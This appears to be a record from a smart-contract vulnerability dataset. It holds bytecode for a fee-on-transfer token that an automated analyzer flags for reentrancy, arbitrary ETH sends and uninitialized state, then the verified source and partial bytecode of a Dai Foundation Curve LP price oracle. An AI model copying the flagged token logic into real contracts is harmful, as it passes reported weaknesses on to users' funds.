1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b919050555061384042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061708042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb5760086009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506006600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bc565bea67ad185994038926e72bb733a323a068d8ce4ade8e20f562879132c764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,786 |
0x78f00b4e224a5334c03244db06ccfa6f1492d848
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// CurveLPOracle.sol
// Copyright (C) 2021 Dai Foundation
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.8.11;
interface AddressProviderLike {
function get_registry() external view returns (address);
}
interface CurveRegistryLike {
function get_n_coins(address) external view returns (uint256[2] calldata);
}
interface CurvePoolLike {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
}
interface OracleLike {
function read() external view returns (uint256);
}
contract CurveLPOracleFactory {
AddressProviderLike immutable ADDRESS_PROVIDER;
event NewCurveLPOracle(address owner, address orcl, bytes32 wat, address pool);
constructor(address addressProvider) {
ADDRESS_PROVIDER = AddressProviderLike(addressProvider);
}
function build(
address _owner,
address _pool,
bytes32 _wat,
address[] calldata _orbs
) external returns (address orcl) {
uint256 ncoins = CurveRegistryLike(ADDRESS_PROVIDER.get_registry()).get_n_coins(_pool)[1];
require(ncoins == _orbs.length, "CurveLPOracleFactory/wrong-num-of-orbs");
orcl = address(new CurveLPOracle(_owner, _pool, _wat, _orbs));
emit NewCurveLPOracle(_owner, orcl, _wat, _pool);
}
}
contract CurveLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "CurveLPOracle/not-authorized");
_;
}
// stopped, hop, and zph are packed into single slot to reduce SLOADs;
// this outweighs the added bitmasking overhead.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "CurveLPOracle/not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (storage slot 0x3)
Feed internal nxt; // Queued price (storage slot 0x4)
address[] public orbs; // array of price feeds for pool assets, same order as in the pool
address public immutable pool; // Address of underlying Curve pool
bytes32 public immutable wat; // Label of token whose price is being tracked
uint256 public immutable ncoins; // Number of tokens in underlying Curve pool
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Stop();
event Start();
event Step(uint256 hop);
event Link(uint256 id, address orb);
event Value(uint128 curVal, uint128 nxtVal);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor(address _ward, address _pool, bytes32 _wat, address[] memory _orbs) {
require(_pool != address(0), "CurveLPOracle/invalid-pool");
uint256 _ncoins = _orbs.length;
pool = _pool;
wat = _wat;
ncoins = _ncoins;
for (uint256 i = 0; i < _ncoins;) {
require(_orbs[i] != address(0), "CurveLPOracle/invalid-orb");
orbs.push(_orbs[i]);
unchecked { i++; }
}
require(_ward != address(0), "CurveLPOracle/ward-0");
wards[_ward] = 1;
emit Rely(_ward);
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint16 _hop) external auth {
uint16 old = hop;
hop = _hop;
if (zph > old) { // if false, zph will be unset and no update is needed
zph = (zph - old) + _hop;
}
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "CurveLPOracle/invalid-orb");
require(_id < ncoins, "CurveLPOracle/invalid-orb-index");
orbs[_id] = _orb;
emit Link(_id, _orb);
}
// For consistency with other oracles
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return zph - hop;
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
// Marked payable to save gas. DO *NOT* send ETH to poke(), it will be lost permanently.
function poke() external payable {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "CurveLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true; logic repeated to save gas.
require(block.timestamp >= zph_, "CurveLPOracle/not-passed");
}
uint256 val = type(uint256).max;
for (uint256 i = 0; i < ncoins;) {
uint256 price = OracleLike(orbs[i]).read();
if (price < val) val = price;
unchecked { i++; }
}
val = val * CurvePoolLike(pool).get_virtual_price() / 10**18;
require(val != 0, "CurveLPOracle/zero-price");
require(val <= type(uint128).max, "CurveLPOracle/price-overflow");
Feed memory cur_ = nxt;
cur = cur_;
nxt = Feed(uint128(val), 1);
// The below is equivalent to:
// zph = block.timestamp + hop
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
shl(24, add(timestamp(), hop_)), // zph value starts 24 bits in
shl(8, hop_) // hop value starts 8 bits in
)
)
}
emit Value(cur_.val, uint128(val));
// Safe to terminate immediately since no postfix modifiers are applied.
assembly { stop() }
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "CurveLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "CurveLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
require(_a[i] != address(0), "CurveLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
unchecked { i++; }
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
unchecked { i++; }
}
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806370c4315314610030575b600080fd5b61004361003e366004610304565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b6000807f0000000000000000000000000000000022d53366457f9d5e68ec105046fc438373ffffffffffffffffffffffffffffffffffffffff1663a262904b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fe91906103a6565b6040517f940494f100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152919091169063940494f1906024016040805180830381865afa15801561016b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061018f91906103ca565b602001519050828114610228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f43757276654c504f7261636c65466163746f72792f77726f6e672d6e756d2d6f60448201527f662d6f7262730000000000000000000000000000000000000000000000000000606482015260840160405180910390fd5b8686868686604051610239906102d2565b610247959493929190610471565b604051809103906000f080158015610263573d6000803e3d6000fd5b506040805173ffffffffffffffffffffffffffffffffffffffff808b168252808416602083015291810188905290881660608201529092507f0cabca6d7ee11babbfae50a3905ac45a18587ec15dc4769dd2ad3bbb5d5560049060800160405180910390a15095945050505050565b612038806104ee83390190565b73ffffffffffffffffffffffffffffffffffffffff8116811461030157600080fd5b50565b60008060008060006080868803121561031c57600080fd5b8535610327816102df565b94506020860135610337816102df565b935060408601359250606086013567ffffffffffffffff8082111561035b57600080fd5b818801915088601f83011261036f57600080fd5b81358181111561037e57600080fd5b8960208260051b850101111561039357600080fd5b9699959850939650602001949392505050565b6000602082840312156103b857600080fd5b81516103c3816102df565b9392505050565b6000604082840312156103dc57600080fd5b82601f8301126103eb57600080fd5b6040516040810181811067ffffffffffffffff82111715610435577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b806040525080604084018581111561044c57600080fd5b845b8181101561046657805183526020928301920161044e565b509195945050505050565b60006080820173ffffffffffffffffffffffffffffffffffffffff8089168452602081891681860152876040860152608060608601528286845260a08601905087935060005b878110156104de5784356104ca816102df565b8416825293820193908201906001016104b7565b509a995050505050505050505056fe60e06040526001805462ffff001916620e10001790553480156200002257600080fd5b50604051620020383803806200203883398101604081905262000045916200027d565b6001600160a01b038316620000a15760405162461bcd60e51b815260206004820152601a60248201527f43757276654c504f7261636c652f696e76616c69642d706f6f6c00000000000060448201526064015b60405180910390fd5b80516001600160a01b03841660805260a083905260c081905260005b81811015620001a45760006001600160a01b0316838281518110620000e657620000e66200037f565b60200260200101516001600160a01b03161415620001475760405162461bcd60e51b815260206004820152601960248201527f43757276654c504f7261636c652f696e76616c69642d6f726200000000000000604482015260640162000098565b60058382815181106200015e576200015e6200037f565b60209081029190910181015182546001808201855560009485529290932090920180546001600160a01b0319166001600160a01b039093169290921790915501620000bd565b506001600160a01b038516620001fd5760405162461bcd60e51b815260206004820152601460248201527f43757276654c504f7261636c652f776172642d30000000000000000000000000604482015260640162000098565b6001600160a01b03851660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a2505050505062000395565b80516001600160a01b03811681146200026257600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b600080600080608085870312156200029457600080fd5b6200029f856200024a565b93506020620002b08187016200024a565b6040870151606088015191955093506001600160401b0380821115620002d557600080fd5b818801915088601f830112620002ea57600080fd5b815181811115620002ff57620002ff62000267565b8060051b604051601f19603f8301168101818110858211171562000327576200032762000267565b60405291825284820192508381018501918b8311156200034657600080fd5b938501935b828510156200036f576200035f856200024a565b845293850193928501926200034b565b989b979a50959850505050505050565b634e487b7160e01b600052603260045260246000fd5b60805160a05160c051611c5e620003da600039600081816102740152818161081d0152611162015260006102d60152600081816101f301526109130152611c5e6000f3fe6080604052600436106101965760003560e01c806365c4ce7a116100e1578063a7a1ed721161008a578063be9a655511610064578063be9a655514610517578063bf353dbb1461052c578063e38e2cfb14610559578063f29c29c41461057957600080fd5b8063a7a1ed7214610430578063a9c52a3914610479578063b0b8579b146104e457600080fd5b806397783a11116100bb57806397783a11146103db5780639c52a7f1146103fb578063a4dff0a21461041b57600080fd5b806365c4ce7a1461036f57806365fae35e1461038f57806375f12b21146103af57600080fd5b806346d4577d1161014357806357de26a41161011d57806357de26a41461032557806359e02dd71461033a57806365af79091461034f57600080fd5b806346d4577d146102a45780634ca29923146102c45780634fce7a2a146102f857600080fd5b80631817835811610174578063181783581461023a5780631b25b65f14610242578063371f8dae1461026257600080fd5b806307da68f51461019b5780630e5a6c70146101b257806316f0115b146101e1575b600080fd5b3480156101a757600080fd5b506101b0610599565b005b3480156101be57600080fd5b506101c761065c565b604080519283529015156020830152015b60405180910390f35b3480156101ed57600080fd5b506102157f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b6101b061070d565b34801561024e57600080fd5b506101b061025d366004611991565b610b49565b34801561026e57600080fd5b506102967f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020016101d8565b3480156102b057600080fd5b506101b06102bf366004611991565b610d45565b3480156102d057600080fd5b506102967f000000000000000000000000000000000000000000000000000000000000000081565b34801561030457600080fd5b50610296610313366004611a2f565b60026020526000908152604090205481565b34801561033157600080fd5b50610296610e95565b34801561034657600080fd5b506101c7610fb9565b34801561035b57600080fd5b506101b061036a366004611a51565b61106a565b34801561037b57600080fd5b506101b061038a366004611a2f565b611289565b34801561039b57600080fd5b506101b06103aa366004611a2f565b611362565b3480156103bb57600080fd5b506001546103c99060ff1681565b60405160ff90911681526020016101d8565b3480156103e757600080fd5b506102156103f6366004611a7d565b61142d565b34801561040757600080fd5b506101b0610416366004611a2f565b611464565b34801561042757600080fd5b5061029661152e565b34801561043c57600080fd5b50600154630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1642101560405190151581526020016101d8565b34801561048557600080fd5b506001546104b690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b6040517cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b3480156104f057600080fd5b5060015461050490610100900461ffff1681565b60405161ffff90911681526020016101d8565b34801561052357600080fd5b506101b06115c4565b34801561053857600080fd5b50610296610547366004611a2f565b60006020819052908152604090205481565b34801561056557600080fd5b506101b0610574366004611a96565b611690565b34801561058557600080fd5b506101b0610594366004611a2f565b611841565b33600090815260208190526040902054600114610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a65640000000060448201526064015b60405180910390fd5b6001805460006003819055600481905562ffff0090911682179091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b3360009081526002602052604081205481906001146106d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506004546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b600154600881901c61ffff169060ff81169060181c811561078a576040517f08c379a00